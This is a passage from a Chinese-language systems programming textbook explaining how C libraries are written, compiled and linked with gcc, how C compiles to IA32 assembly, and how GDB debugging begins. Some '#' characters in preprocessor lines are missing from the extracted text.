+ *应用程序编程接口*(API),它在一个或多个头文件(`.h` 文件)中定义,必须在计划使用该库的 C 源代码文件中包含这些头文件。头文件定义了库向其用户提供的内容。这些定义通常包括库函数原型,并且可能还包括类型、常量或全局变量的声明。
+ *实现*库功能的代码,通常以预编译的二进制格式提供给程序,这些代码会在 `gcc` 创建的二进制可执行文件中进行*链接*(添加)。预编译的库代码可能存储在一个包含多个 `.o` 文件的归档文件(`libsomelib.a`)中,这些文件可以在编译时静态链接到可执行文件中。或者,它可能是一个共享对象文件(`libsomelib.so`),可以在运行时动态链接到正在运行的程序中。
例如,C 字符串库实现了一组用于操作 C 字符串的函数。`string.h` 头文件定义了它的接口,因此任何想要使用字符串库函数的程序都必须 `#include <string.h>`。C 字符串库的实现是更大标准 C 库(`libc`)的一部分,`gcc` 编译器会自动将其链接到它创建的每个可执行文件中。
库的实现由一个或多个模块(`.c` 文件)组成,并可能包括库实现内部使用的头文件;这些内部头文件不是库的 API 的一部分,但它们是设计良好、模块化的库代码的一部分。通常,库的 C 源代码实现并不会对库的用户公开。相反,库以预编译的二进制形式提供。这些二进制格式不是可执行程序(它们不能单独运行),但它们提供了可执行的代码,可以通过 `gcc` 在编译时被*链接*到可执行文件中。
C 程序员可以使用许多可用的库。例如,POSIX 线程库(在第十章中讨论)使得多线程 C 程序成为可能。C 程序员还可以实现并使用自己的库(参见第 133 页上的“编写和使用你自己的 C 库”)。
标准 C 库通常不需要通过 `-l` 选项显式链接,但其他库则需要。库函数的文档通常会指定在编译时是否需要显式链接该库。例如,POSIX 线程库(`pthread`)和 `readline` 库在 `gcc` 命令行上需要显式链接:
$ gcc -o myprog myprog.c -lpthread -lreadline
请注意,库文件的完整名称不应包含在 `-l` 参数中;库文件的命名类似于 `libpthread.so` 或 `libreadline.a`,但文件名中的 `lib` 前缀和 `.so` 或 `.a` 后缀不应包括在内。实际的库文件名可能还包含版本号(例如 `libreadline.so.8.0`),这些版本号也不包含在 `-l` 命令行选项中(`-lreadline`)。通过不强制用户指定(甚至不知道)要链接的库文件的确切名称和位置,`gcc` 可以自由地在用户的库路径中找到最新版本的库。它还允许编译器在存在共享对象(`.so`)和静态库(`.a`)版本的库时选择动态链接。如果用户想要静态链接库,则可以在 `gcc` 命令行中显式指定静态链接。`--static` 选项提供了一种请求静态链接的方法:
$ gcc -o myprog myprog.c --static -lpthread -lreadline
##### 编译步骤
描述 C 程序的编译步骤有助于说明库代码如何被链接到可执行二进制文件中。我们首先介绍编译步骤,然后通过示例讨论在编译使用库的程序时可能出现的不同类型的错误。
C 编译器将 C 源文件(例如 `myprog.c`)转换为可执行的二进制文件(例如 `a.out`),这一过程分为四个独立的步骤(以及在运行时发生的第五个步骤)。
*预编译*步骤首先运行,并展开*预处理指令*:C 程序中出现的`#`指令,例如`#define`和`#include`。此步骤的编译错误包括预处理指令中的语法错误,或`gcc`未能找到与`#include`指令相关的头文件。要查看预编译步骤的中间结果,可以将`-E`标志传递给`gcc`(输出可以重定向到一个文件,文件可以通过文本编辑器查看):
$ gcc -E myprog.c
$ gcc -E myprog.c > out
$ vim out
*编译*步骤接下来运行,并完成大部分编译任务。它将 C 程序源代码(`myprog.c`)翻译为特定于机器的汇编代码(`myprog.s`)。汇编代码是计算机可以执行的二进制机器代码指令的可读形式。此步骤的编译错误包括 C 语言语法错误、未定义符号警告,以及缺失定义和函数原型的错误。要查看编译步骤的中间结果,可以将`-S`标志传递给`gcc`(该选项会生成一个名为`myprog.s`的文本文件,其中包含`myprog.c`的汇编翻译,可以通过文本编辑器查看):
$ gcc -S myprog.c
$ vim myprog.s
*汇编*步骤将汇编代码转换为可重定位的二进制目标代码(`myprog.o`)。生成的目标文件包含机器代码指令,但它不是一个可以独立运行的完整可执行程序。Unix 和 Linux 系统上的`gcc`编译器生成特定格式的二进制文件,称为 ELF(可执行与可链接格式)。^(5) 若要在此步骤后停止编译,可以将`-c`标志传递给`gcc`(这会生成名为`myprog.o`的文件)。可以使用`objdump`或类似工具查看二进制文件(例如,`a.out`和`.o`文件):
$ gcc -c myprog.c
disassemble functions in myprog.o with objdump:
$ objdump -d myprog.o
*链接编辑*步骤最后运行,并从可重定位的二进制文件(`.o`)和库文件(`.a`或`.so`)创建一个单一的可执行文件(`a.out`)。在此步骤中,链接器会验证`.o`文件中对符号名称的引用是否存在于其他`.o`、`.a`或`.so`文件中。例如,链接器会在标准 C 库(`libc.so`)中找到`printf`函数。如果链接器找不到符号的定义,步骤将失败,并显示符号未定义的错误。运行不带标志的`gcc`进行部分编译时,会执行编译 C 源代码文件(`myprog.c`)到可执行二进制文件(`a.out`)的所有四个步骤,可以运行:
$ gcc myprog.c
$ ./a.out
disassemble functions in a.out with objdump:
$ objdump -d a.out
如果二进制可执行文件(`a.out`)静态链接了库代码(来自`.a`库文件),则`gcc`会将库函数从`.a`文件复制到生成的`a.out`文件中。应用程序对库函数的所有调用都被*绑定*到`a.out`文件中复制库函数的地址位置。绑定将名称与程序内存中的位置关联起来。例如,绑定对名为`gofish`的库函数的调用意味着用该函数在内存中的地址替代函数名称(在后面的章节中我们将更详细地讨论内存地址——例如,参见“内存地址”在第 642 页)。
然而,如果`a.out`是通过动态链接库(来自共享库对象文件,`.so`文件)创建的,则`a.out`不包含这些库中的库函数代码副本。相反,它包含关于`a.out`文件运行时需要哪些动态链接库的信息。这类可执行文件在运行时需要额外的链接步骤。
如果`a.out`在链接编辑时与共享对象文件链接,那么就需要*运行时链接*步骤。在这种情况下,动态库代码(在`.so`文件中)必须在运行时加载,并与正在运行的程序进行链接。这个运行时加载和链接共享对象库的过程称为*动态链接*。当用户运行一个有共享对象依赖的`a.out`可执行文件时,系统会在程序开始执行`main`函数之前执行动态链接。
编译器在链接编辑编译步骤中将关于共享对象依赖的信息添加到`a.out`文件中。当程序开始执行时,动态链接器会检查共享对象依赖列表,找到并加载共享对象文件到运行中的程序中。然后,它会更新`a.out`文件中的重定位表条目,将程序对共享对象中符号(例如调用库函数)的使用绑定到运行时加载的`.so`文件中的位置。如果动态链接器无法找到可执行文件所需的共享对象(`.so`)文件,运行时链接会报告错误。
`ldd`工具列出可执行文件的共享对象依赖:
$ ldd a.out
*GNU 调试器(GDB)*可以检查正在运行的程序,并显示运行时加载和链接的共享对象代码。我们在第三章中介绍了 GDB。然而,检查用于运行时链接调用动态链接库函数的过程查找表(PLT)的细节超出了本教材的范围。
有关编译各阶段的更多细节以及检查不同阶段的工具,可以在网上找到。^(6)
##### 与编译和链接库相关的常见编译错误
由于程序员忘记包含库头文件或忘记显式链接库代码,可能会发生多个编译和链接错误。识别与这些错误相关的`gcc`编译器错误或警告,有助于调试与使用 C 库相关的错误。
考虑下一个 C 程序,它调用了来自`examplelib`库的`libraryfunc`函数(该库以共享对象文件`libmylib.so`的形式提供):
include <stdio.h>
include <examplelib.h>
int main(int argc, char *argv[]) {
int result;
result = libraryfunc(6, MAX);
printf("result is %d\n", result);
return 0;
}
假设头文件`examplelib.h`包含如下示例中的定义:
define MAX 10 // a constant exported by the library
// a function exported by the library
extern int libraryfunc(int x, int y);
`extern`前缀表示函数原型的定义来自另一个文件——它不在`examplelib.h`文件中,而是由库实现中的某个`.c`文件提供。
**忘记包含头文件。** 如果程序员忘记在程序中包含`examplelib.h`,那么编译器会产生关于程序使用的库函数和常量的警告和错误,编译器无法识别这些库函数和常量。例如,如果用户在没有`#include <examplelib.h>`的情况下编译程序,`gcc`会产生如下输出:
'-g': add debug information, -c: compile to '.o'
$ gcc -g -c myprog.c
myprog.c: In function main:
myprog.c:8:12: warning: implicit declaration of function libraryfunc
result = libraryfunc(6, MAX);
^~~~~~~~~~~
myprog.c:8:27: error: MAX undeclared (first use in this function)
result = libraryfunc(6, MAX);
^~~
第一个编译器警告(`implicit declaration of function` `libraryfunc`)告诉程序员,编译器找不到`libraryfunc`函数的原型。这只是一个编译器警告,因为`gcc`会猜测该函数的返回类型是整数,并继续编译程序。然而,程序员*不应*忽视这些警告!它们表明程序在使用`myprog.c`文件中的函数之前没有包含函数原型,这通常是由于没有包含包含该函数原型的头文件。
第二个编译器错误(`MAX undeclared (first use in this` `function)`)是由于缺少常量定义。编译器无法猜测缺失常量的值,因此这个缺失的定义会导致错误。此类“未声明”消息通常表明缺少或未正确包含定义常量或全局变量的头文件。
**忘记链接库。** 如果程序员包含了库的头文件(如前面的代码所示),但忘记在编译的链接编辑步骤中显式链接该库,那么`gcc`会通过“未定义的引用”错误来提示:
$ gcc -g myprog.c
In function main:
myprog.c:9: undefined reference to libraryfunc
collect2: error: ld returned 1 exit status
这个错误来自`ld`,编译器的链接器组件。它表明链接器无法找到在`myprog.c`文件第 9 行调用的库函数`libraryfunc`的实现。一个“未定义的引用”错误意味着需要显式地将一个库链接到可执行文件中。在这个例子中,在`gcc`命令行上指定`-lexamplelib`可以解决这个错误:
$ gcc -g myprog.c -lexamplelib
**gcc 找不到头文件或库文件。** 如果库的头文件或实现文件不在`gcc`默认搜索的目录中,编译也会失败并显示错误。例如,如果`gcc`找不到`examplelib.h`文件,它将产生如下错误信息:
$ gcc -c myprog.c -lexamplelib
myprog.c:1:10: fatal error: examplelib.h: No such file or directory
#include <examplelib.h>
^~~~~~~
compilation terminated.
如果链接器在编译的链接编辑步骤中找不到库的`.a`或`.so`版本来进行链接,`gcc`将会因以下类似错误退出:
$ gcc -c myprog.c -lexamplelib
/usr/bin/ld: cannot find -lexamplelib
collect2: error: ld returned 1 exit status
类似地,如果一个动态链接的可执行文件无法找到共享对象文件(例如,`libexamplelib.so`),它将在运行时因以下类似错误而无法执行:
$ ./a.out
./a.out: error while loading shared libraries:
libexamplelib.so: cannot open shared object file: No such file or directory
为了解决这些类型的错误,程序员必须为`gcc`指定额外的选项,指明库文件的位置。程序员还可能需要修改`LD_LIBRARY_PATH`环境变量,以便运行时链接器能够找到库的`.so`文件。
##### 库和包含路径
编译器会自动在标准目录位置搜索头文件和库文件。例如,系统通常将标准头文件存储在`/usr/include`,库文件存储在`/usr/lib`,`gcc`会自动在这些目录中查找头文件和库文件;`gcc`也会自动在当前工作目录中查找头文件。
如果`gcc`无法找到头文件或库文件,则用户必须在命令行中显式提供路径,使用`-I`和`-L`选项。例如,假设有一个名为`libexamplelib.so`的库文件存在于`/home/me/lib`中,且它的头文件`examplelib.h`在`/home/me/include`目录下。由于`gcc`默认不知道这些路径,必须明确告知它在这些路径下包含文件,以成功编译使用该库的程序:
$ gcc -I/home/me/include -o myprog myprog.c -L/home/me/lib -lexamplelib
要在启动动态链接的可执行文件时指定动态库(例如,`libexamplelib.so`)的位置,可以设置`LD_LIBRARY_PATH`环境变量,包含库文件的路径。以下是一个可以在终端提示符下运行的示例 bash 命令,或添加到`.bashrc`文件中的命令:
export LD_LIBRARY_PATH=/home/me/lib:$LD_LIBRARY_PATH
当`gcc`命令行变长,或者可执行文件需要许多源文件和头文件时,使用`make`和`Makefile`可以简化编译过程。^(7)
#### 2.9.6 编写和使用你自己的 C 库
程序员通常将大型 C 程序分成多个相关功能的*模块*(即多个`.c`文件)。多个模块共享的定义放在头文件(`.h`文件)中,模块会包含它们所需的头文件。同样,C 库代码也通常由一个或多个模块(`.c`文件)和一个或多个头文件(`.h`文件)实现。C 程序员常常实现自己常用功能的 C 库。通过编写库,程序员一次性实现了库中的功能,然后可以在任何后续的 C 程序中使用这些功能。
在“C 库:使用、编译和链接”章节的第 133 页中,我们描述了如何将 C 库代码用于 C 程序,编译并链接。在本节中,我们讨论了如何编写和使用你自己的 C 库。我们在这里展示的内容也适用于构建和编译由多个 C 源文件和头文件组成的较大型 C 程序。
创建一个 C 库的步骤:
1. 在头文件(`.h` 文件)中定义库的接口。任何希望使用该库的程序都必须包含此头文件。
2. 在一个或多个 `.c` 文件中创建库的实现。这些函数定义实现了库的功能。有些函数可能是库用户将要调用的接口函数,而其他函数可能是库内部的函数,无法被库的用户调用(内部函数是库实现的良好模块化设计的一部分)。
3. 编译一个可以链接到使用该库的程序中的库的二进制形式。
库的二进制形式可以直接从其源文件编译而来,作为编译使用该库的应用程序代码的一部分。这种方法将库文件编译成 `.o` 文件,并将它们静态链接到二进制可执行文件中。以这种方式包含库通常适用于为自己编写的库代码(因为你可以访问其 `.c` 源文件),这也是从多个 `.c` 模块构建可执行文件的方法。
另外,库也可以被编译成二进制归档文件(`.a`)或共享对象文件(`.so`),供需要使用该库的程序使用。在这些情况下,库的用户通常无法访问库的 C 源代码文件,因此无法直接将库代码与使用它的应用程序代码一起编译。当程序使用这样的预编译库(例如 `.a` 或 `.so` 文件)时,必须使用 `gcc` 的 `-l` 命令行选项显式地将库代码链接到可执行文件中。
我们详细讨论编写、编译和链接库代码的内容,重点是程序员可以访问单独的库模块(即 `.c` 或 `.o` 文件)的情况。这种重点同样适用于设计和编译被拆分为多个 `.c` 和 `.h` 文件的大型 C 程序。我们简要介绍了构建归档库和共享对象库形式的命令。有关构建这些类型的库文件的更多信息,可以参考 `gcc` 文档,包括 `gcc` 和 `ar` 的 man 页面。
接下来,我们展示了一些创建和使用自己库的例子。
**定义库接口** 头文件(`.h` 文件)是包含 C 函数原型和其他定义的文本文件——它们代表了库的接口。任何打算使用该库的应用程序必须包含头文件。例如,C 标准库的头文件通常存储在 `/usr/include/` 目录下,并可以用编辑器查看:
$ vi /usr/include/stdio.h
这是一个来自库的示例头文件^(8),它包含一些供库用户使用的定义:
myfile.h
ifndef MYLIB_H
define MYLIB_H
// a constant definition exported by library:
define MAX_FOO 20
// a type definition exported by library:
struct foo_struct {
int x;
float y;
};
// a global variable exported by library
// "extern" means that this is not a variable declaration,
// but it defines that a variable named total_times of type
// int exists in the library implementation and is available
// for use by programs using the library.
// It is unusual for a library to export global variables
// to its users, but if it does, it is important that
// extern appears in the definition in the .h file
extern int total_times;
// a function prototype for a function exported by library:
// extern means that this function definition exists
// somewhere else.
/*
* This function returns the larger of two float values
* y, z: the two values
* returns the value of the larger one
*/
extern float bigger(float y, float z);
endif
头文件通常在其内容周围有特殊的“样板”代码。例如:
ifndef
// header file contents
endif
这段样板代码确保编译器的预处理器只会在任何包含它的 C 文件中包含`mylib.h`的内容一次。确保只包含 `.h` 文件的内容一次非常重要,以避免在编译时出现重复定义错误。类似地,如果你忘记在使用该库的 C 程序中包含 `.h` 文件,编译器会生成一个“未定义符号”的警告。
`.h` 文件中的注释是库接口的一部分,写给库的用户。这些注释应该是详尽的,解释定义并描述每个库函数的功能,接受的参数值以及返回值。有时,`.h` 文件还会包含一个描述如何使用该库的顶层注释。
在全局变量定义和函数原型前加上关键字`extern`,意味着这些名称在其他地方已经定义。特别是要在库导出的任何全局变量前加上`extern`,因为它将名称和类型定义(在 `.h` 文件中)与库实现中的变量声明区分开来。在前面的示例中,全局变量在库内部只声明一次,但通过在库的 `.h` 文件中的 `extern` 定义将其导出给库的用户。
**实现库功能。** 程序员在一个或多个 `.c` 文件中实现库(有时还包括内部 `.h` 文件)。实现包括 `.h` 文件中所有函数原型的定义以及库实现中的其他函数。这些内部函数通常使用关键字 `static` 定义,这将它们的可用范围限定为定义它们的模块(`.c` 文件)。库实现还应该包括 `.h` 文件中任何 `extern` 全局变量声明的变量定义。下面是一个库实现的示例:
mylib.c
include <stdlib.h>
// Include the library header file if the implementation needs
// any of its definitions (types or constants, for example.)
// Use " " instead of < > if the mylib.h file is not in a
// default library path with other standard library header
// files (the usual case for library code you write and use.)
include "mylib.h"
// declare the global variable exported by the library
int total_times = 0;
// include function definitions for each library function:
float bigger(float y, float z) {
total_times++;
if (y > z) {
return y;
}
return z;
}
**创建库的二进制形式。** 要创建库的二进制形式(`.o` 文件),可以使用 `-c` 选项进行编译:
$ gcc -o mylib.o -c mylib.c
一个或多个 `.o` 文件可以构建库的归档(`.a`)或共享对象(`.so`)版本。要构建静态库,可以使用归档工具(`ar`):
$ ar -rcs libmylib.a mylib.o
要构建一个动态链接库,库中的`mylib.o`目标文件必须使用*位置无关代码*(使用`-fPIC`)。可以通过在`gcc`中指定`-shared`标志从`mylib.o`创建`libmylib.so`共享目标文件:
$ gcc -fPIC -o mylib.o -c mylib.c
$ gcc -shared -o libmylib.so mylib.o
共享对象和存档库通常由多个`.o`文件构建,例如(请记住,动态链接库的`.o`需要使用`-fPIC`标志构建):
$ gcc -shared -o libbiglib.so file1.o file2.o file3.o file4.o
$ ar -rcs libbiglib.a file1.o file2.o file3.o file4.o
**使用和链接库**。使用此库的其他`.c`文件应该`#include`其头文件,并且在编译时需要显式地链接其实现(`.o`文件)。
在包含库头文件后,您的代码可以调用库的函数:
myprog.c
include <stdio.h>
include "mylib.h" // include library header file
int main() {
float val1, val2, ret;
printf("Enter two float values: ");
scanf("%f%f", &val1, &val2);
ret = bigger(val1, val2); // use a library function
printf("%f is the biggest\n", ret);
return 0;
}
**注意 #INCLUDE 语法和预处理器**
`#include`语法包含`mylib.h`不同于包含`stdio.h`的语法。这是因为`mylib.h`不在标准库的头文件位置。预处理器有默认位置用于查找标准头文件。当使用`<file.h>`语法而不是`"file.h"`语法包含文件时,预处理器在这些标准位置中搜索头文件。
当`mylib.h`包含在双引号内时,预处理器首先在当前目录中查找`mylib.h`文件,然后需要显式告诉它查找其他位置,通过在`gcc`中指定包含路径(`-I`)。例如,如果头文件位于`/home/me/myincludes`目录中(而不是与`myprog.c`文件相同的目录中),则必须在`gcc`命令行中指定此目录路径以便预处理器找到`mylib.h`文件:
$ gcc -I/home/me/myincludes -c myprog.c
要编译一个使用库(`mylib.o`)的程序(`myprog.c`)成为一个可执行二进制文件:
$ gcc -o myprog myprog.c mylib.o
或者,如果在编译时库的实现文件可用,那么程序可以直接从程序和库的`.c`文件构建:
$ gcc -o myprog myprog.c mylib.c
或者,如果库作为存档文件或共享目标文件可用,则可以使用`-l`(`-lmylib`:注意库名称是`libmylib.[a,so]`,但`gcc`命令行中仅包含`mylib`部分)进行链接:
$ gcc -o myprog myprog.c -L. -lmylib
`-L.`选项指定路径到`libmylib.[so,a]`文件(`-L`后面的`.`表示应该搜索当前目录)。默认情况下,如果`gcc`找到`.so`版本,它将动态链接库。有关更多关于链接和链接路径的信息,请参阅第 133 页的“C 库:使用、编译和链接”。
然后程序可以运行:
$ ./myprog
如果运行动态链接版本的`myprog`,可能会遇到如下错误:
/usr/bin/ld: cannot find -lmylib
collect2: error: ld returned 1 exit status
这个错误意味着运行时链接器在运行时无法找到 `libmylib.so`。要解决这个问题,可以将 `LD_LIBRARY_PATH` 环境变量设置为包含 `libmylib.so` 文件的路径。之后,`myprog` 的运行会使用你添加到 `LD_LIBRARY_PATH` 中的路径来找到并加载 `libmylib.so` 文件。例如,如果 `libmylib.so` 位于 `/home/me/mylibs/` 子目录中,可以在 bash shell 提示符下运行以下命令(仅需运行一次)来设置 `LD_LIBRARY_PATH` 环境变量:
$ export LD_LIBRARY_PATH=/home/me/mylibs:$LD_LIBRARY_PATH
#### 2.9.7 将 C 代码编译为汇编代码,以及编译和链接汇编与 C 代码
编译器可以将 C 代码编译成汇编代码,也可以将汇编代码编译成二进制形式,并链接成一个二进制可执行程序。我们以 IA32 汇编语言和 `gcc` 编译器为例,但任何 C 编译器都支持此功能,而且大多数编译器都支持编译成多种不同的汇编语言。有关汇编代码和汇编编程的详细信息,请参见 第八章。
请考虑这个非常简单的 C 程序:
simpleops.c
int main() {
int x, y;
x = 1;
x = x + 2;
x = x - 14;
y = x*100;
x = x + y * 6;
return 0;
}
`gcc` 编译器会使用 `-S` 命令行选项将其编译成 IA32 汇编文本文件(`.s`),并使用 `-m32` 命令行选项指定生成 IA32 汇编:
$ gcc -m32 -S simpleops.c # runs the assembler to create a .s text file
该命令会创建一个名为 `simpleops.s` 的文件,包含编译器将 C 代码翻译为的 IA32 汇编代码。由于 `.s` 文件是文本文件,用户可以使用任何文本编辑器查看(和编辑)它。例如:
$ vim simpleops.s
传递额外的编译器标志可以为 `gcc` 提供指示,告诉它在将 C 代码翻译为 IA32 汇编代码时使用某些特性或优化。
一个汇编代码文件,无论是由 `gcc` 生成的,还是程序员手动编写的,都可以使用 `gcc` 的 `-c` 选项编译成二进制机器代码形式:
$ gcc -m32 -c simpleops.s # compiles to a relocatable object binary file (.o)
生成的 `simpleops.o` 文件可以链接成一个二进制可执行文件(注意:这需要你的系统中安装了 32 位版本的系统库):
$ gcc -m32 -o simpleops simpleops.o # creates a 32-bit executable file
该命令会为 IA32(以及 x86-64)架构创建一个名为 `simpleops` 的二进制可执行文件。
构建可执行文件的 `gcc` 命令行可以包含 `.o` 和 `.c` 文件,这些文件将被编译并链接在一起,生成单个二进制可执行文件。
系统提供了一些工具,允许用户查看二进制文件。例如,`objdump` 显示 `.o` 文件中的机器代码和汇编代码映射:
$ objdump -d simpleops.o
这个输出可以与汇编文件进行比较:
$ cat simpleops.s
你应该能看到类似这样的内容(我们已注释部分汇编代码,并标注了它们对应的 C 程序代码):
.file "simpleops.c"
.text
.globl main
.type main, @function
main:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl $1, -8(%ebp) # x = 1
addl $2, -8(%ebp) # x = x + 2
subl $14, -8(%ebp) # x = x - 14
movl -8(%ebp), %eax # load x into R[%eax]
imull $100, %eax, %eax # into R[%eax] store result of x*100
movl %eax, -4(%ebp) # y = x*100
movl -4(%ebp), %edx
movl %edx, %eax
addl %eax, %eax
addl %edx, %eax
addl %eax, %eax
addl %eax, -8(%ebp)
movl $0, %eax
leave
ret
.size main, .-main
.ident "GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0"
.section .note.GNU-stack,"",@progbits
##### 编写和编译汇编代码
程序员可以手动编写汇编代码,并使用`gcc`将其编译为二进制可执行程序。例如,要用汇编实现一个函数,可以将代码添加到`.s`文件中,然后使用`gcc`进行编译。以下示例展示了 IA32 汇编中函数的基本结构。这种代码会写在一个文件中(例如,`myfunc.s`),用于一个原型为`int myfunc(int param);`的函数。具有更多参数或需要更多空间存储局部变量的函数,其前导代码可能略有不同。
.text # this file contains instruction code
.globl myfunc # myfunc is the name of a function
.type myfunc, @function
myfunc: # the start of the function
pushl %ebp # function preamble:
movl %esp, %ebp # the 1st three instrs set up the stack
subl $16, %esp
# A programmer adds specific IA32 instructions
# here that allocate stack space for any local variables
# and then implements code using parameters and locals to
# perform the functionality of the myfunc function
#
# the return value should be stored in %eax before returning
leave # function return code
ret
一个想调用此函数的 C 程序需要包含其函数原型:
include <stdio.h>
int myfunc(int param);
int main() {
int ret;
ret = myfunc(32);
printf("myfunc(32) is %d\n", ret);
return 0;
}
以下`gcc`命令将从`myfunc.s`和`main.c`源文件构建一个可执行文件(`myprog`):
$ gcc -m32 -c myfunc.s
$ gcc -m32 -o myprog myfunc.o main.c
手写汇编代码
与 C 语言不同,C 是可以在多种系统上编译和运行的高级语言,而汇编代码则是非常底层且特定于某一硬件架构的。程序员可能会手写汇编代码,用于低级功能或对软件性能至关重要的代码序列。程序员有时可以写出比编译器优化的 C 汇编翻译更快的汇编代码,有时 C 程序员也想在代码中访问底层架构的某些部分(例如特定寄存器)。由于这些原因,操作系统代码的小部分通常用汇编语言实现。然而,由于 C 语言是一种便携式语言,且比汇编语言高级得多,绝大多数操作系统代码都是用 C 编写的,并依赖于优秀的优化编译器生成性能良好的机器代码。
尽管大多数系统程序员很少编写汇编代码,但能够阅读和理解程序的汇编代码是获取更深刻理解程序功能和执行过程的重要技能。这也有助于理解程序的性能,并发现和理解程序中的安全漏洞。
### 2.10 总结
在本章中,我们深入讲解了 C 编程语言,并讨论了一些高级 C 编程主题。在下一章中,我们将介绍两种非常有用的 C 调试工具:用于通用 C 程序调试的 GNU GDB 调试器,以及用于查找 C 程序内存访问错误的 Valgrind 内存调试器。通过掌握这些编程工具和本章介绍的 C 语言核心知识,C 程序员可以设计出强大、高效且健壮的软件。
### 注释
1. *[`pages.cs.wisc.edu/~remzi/OSTEP/vm-freespace.pdf`](http://pages.cs.wisc.edu/~remzi/OSTEP/vm-freespace.pdf)*
2. *[`diveintosystems.org/book/C2-C_depth/_attachments/strtokexample.c`](https://diveintosystems.org/book/C2-C_depth/_attachments/strtokexample.c)*
3. *[`www.cs.swarthmore.edu/~newhall/unixhelp/man.html`](http://www.cs.swarthmore.edu/~newhall/unixhelp/man.html)*
4. *[`diveintosystems.org/book/C2-C_depth/_attachments/commandlineargs.c`](https://diveintosystems.org/book/C2-C_depth/_attachments/commandlineargs.c)*
5. *[`wikipedia.org/wiki/Executable_and_Linkable_Format`](https://wikipedia.org/wiki/Executable_and_Linkable_Format)*
6. *[`www.cs.swarthmore.edu/~newhall/unixhelp/compilecycle.html`](http://www.cs.swarthmore.edu/~newhall/unixhelp/compilecycle.html)*
7. *[`www.cs.swarthmore.edu/~newhall/unixhelp/howto_makefiles.html`](https://www.cs.swarthmore.edu/~newhall/unixhelp/howto_makefiles.html)*
8. *[`diveintosystems.org/book/C2-C_depth/_attachments/mylib.h`](https://diveintosystems.org/book/C2-C_depth/_attachments/mylib.h)*
# 第四章:C 调试工具

在本节中,我们介绍了两个调试工具:GNU 调试器(GDB),^(1)它有助于检查程序的运行时状态,和 Valgrind^(2)(发音为“Val-grinned”),一个流行的代码分析工具套件。具体来说,我们介绍了 Valgrind 的 Memcheck 工具,^(3)它分析程序的内存访问情况,以检测无效内存使用、未初始化内存使用和内存泄漏。
GDB 部分包括两个示范 GDB 会话,展示了常用的 GDB 命令,用于查找程序中的错误。我们还讨论了一些高级 GDB 功能,包括将 GDB 附加到正在运行的进程、GDB 与 Makefile 的结合、GDB 中的信号控制、在汇编级别调试,以及调试多线程 Pthreads 程序。
Valgrind 部分讨论了内存访问错误及其为何如此难以检测。它还包括对一个存在错误内存访问的程序执行 Memcheck 的示例。Valgrind 套件包括其他程序分析和调试工具,我们将在后续章节中介绍。例如,我们将在第十一章的《缓存分析与 Valgrind》一节中介绍缓存分析工具 Cachegrind^(4),以及在第十二章的《使用 Callgrind 进行分析》一节中介绍函数调用分析工具 Callgrind^(5)。
### 3.1 使用 GDB 调试
GDB 可以帮助程序员发现并修复程序中的错误。GDB 支持多种编程语言的编译程序,但我们这里主要关注 C 语言。调试器是一个控制另一个程序(即被调试程序)执行的程序——它允许程序员在程序运行时看到程序的行为。使用调试器可以帮助程序员发现错误并找出错误的原因。以下是 GDB 可以执行的一些有用操作:
+ 启动程序并逐行调试
+ 当程序执行到代码中的某些位置时暂停其执行
+ 在用户指定的条件下暂停程序执行
+ 显示程序在暂停执行时的变量值
+ 在暂停后继续程序的执行
+ 检查程序在崩溃时的执行状态
+ 检查调用栈中任何栈帧的内容
GDB 用户通常会在程序中设置*断点*。断点指定了程序中的某个位置,GDB 将在此位置暂停程序的执行。当执行中的程序达到断点时,GDB 会暂停程序的执行,并允许用户输入 GDB 命令来检查程序变量和栈内容,逐行执行程序,添加新的断点,并继续执行程序直到达到下一个断点。
许多 Unix 系统还提供了数据展示调试器(DDD),这是一个易于使用的图形化界面(GUI)程序,它将命令行调试器(例如 GDB)包装成图形界面。DDD 程序接受与 GDB 相同的参数和命令,但它提供了图形界面以及 GDB 的命令行接口。
在讨论了如何开始使用 GDB 的一些基本内容后,我们展示了两个示例 GDB 调试会话,介绍了在寻找不同类型的 bug 时常用的 GDB 命令。第一个会话,“使用 GDB 调试程序示例(badprog.c)”在第 152 页上,展示了如何使用 GDB 命令来寻找 C 程序中的逻辑错误。第二个会话,“使用 GDB 调试崩溃程序示例(segfaulter.c)”在第 159 页上,展示了如何使用 GDB 命令检查程序崩溃时的执行状态,以找出崩溃的原因。
在第 161 页的“常用 GDB 命令”部分,我们更详细地描述了常用的 GDB 命令,展示了更多命令的示例。在后续章节中,我们将讨论一些高级的 GDB 功能。
#### 3.1.1 开始使用 GDB
在调试程序时,建议使用 `-g` 选项进行编译,这会将额外的调试信息添加到二进制可执行文件中。这些额外的信息帮助调试器在二进制可执行文件中找到程序的变量和函数,并使它能够将机器代码指令映射到 C 源代码的行号(这是 C 程序员能够理解的程序形式)。此外,在进行调试编译时,避免使用编译器优化(例如,不要使用 `-O2` 编译)。编译器优化后的代码通常很难调试,因为优化后的机器代码序列往往不能清晰地映射回 C 源代码。尽管我们在后续部分会讲解 `-g` 标志的使用,某些用户可能会发现使用 `-g3` 标志能获得更好的调试效果,它会提供更多的调试信息。
这是一个示例的 `gcc` 命令,它将构建一个适合用于 GDB 调试的可执行文件:
$ gcc -g myprog.c
要启动 GDB,可以在可执行文件上调用它。例如:
$ gdb a.out
(gdb) # the gdb command prompt
当 GDB 启动时,它会打印 `(gdb)` 提示符,允许用户在运行 `a.out` 程序之前输入 GDB 命令(例如设置断点)。
同样,要在可执行文件上调用 DDD:
$ ddd a.out
有时,当程序因错误终止时,操作系统会生成一个核心文件,其中包含程序崩溃时的状态信息。可以通过在 GDB 中运行该核心文件和生成该文件的可执行文件来检查其内容:
$ gdb core a.out
(gdb) where # the where command shows point of crash
#### 3.1.2 示例 GDB 会话
我们通过两个示例会话演示 GDB 的常见功能,第一例是使用 GDB 查找并修复程序中的两个 bug,第二例是使用 GDB 调试一个崩溃的程序。这两个示例会话中,我们展示的 GDB 命令集包括下表中列出的命令。
| **命令** | **描述** |
| --- | --- |
| `break` | 设置一个断点 |
| `run` | 从头开始启动程序 |
| `cont` | 继续执行程序,直到它命中一个断点 |
| `quit` | 退出 GDB 会话 |
| `next` | 允许程序执行下一行 C 代码,然后暂停 |
| `step` | 允许程序执行下一行 C 代码;如果下一行 |
| | 包含一个函数调用,进入函数并暂停 |
| `list` | 列出暂停点附近或指定位置的 C 源代码 |
| `print` | 打印程序变量(或表达式)的值 |
| `where` | 打印调用栈 |
| `frame` | 进入特定栈帧的上下文 |
##### 使用 GDB 调试程序示例(badprog.c)
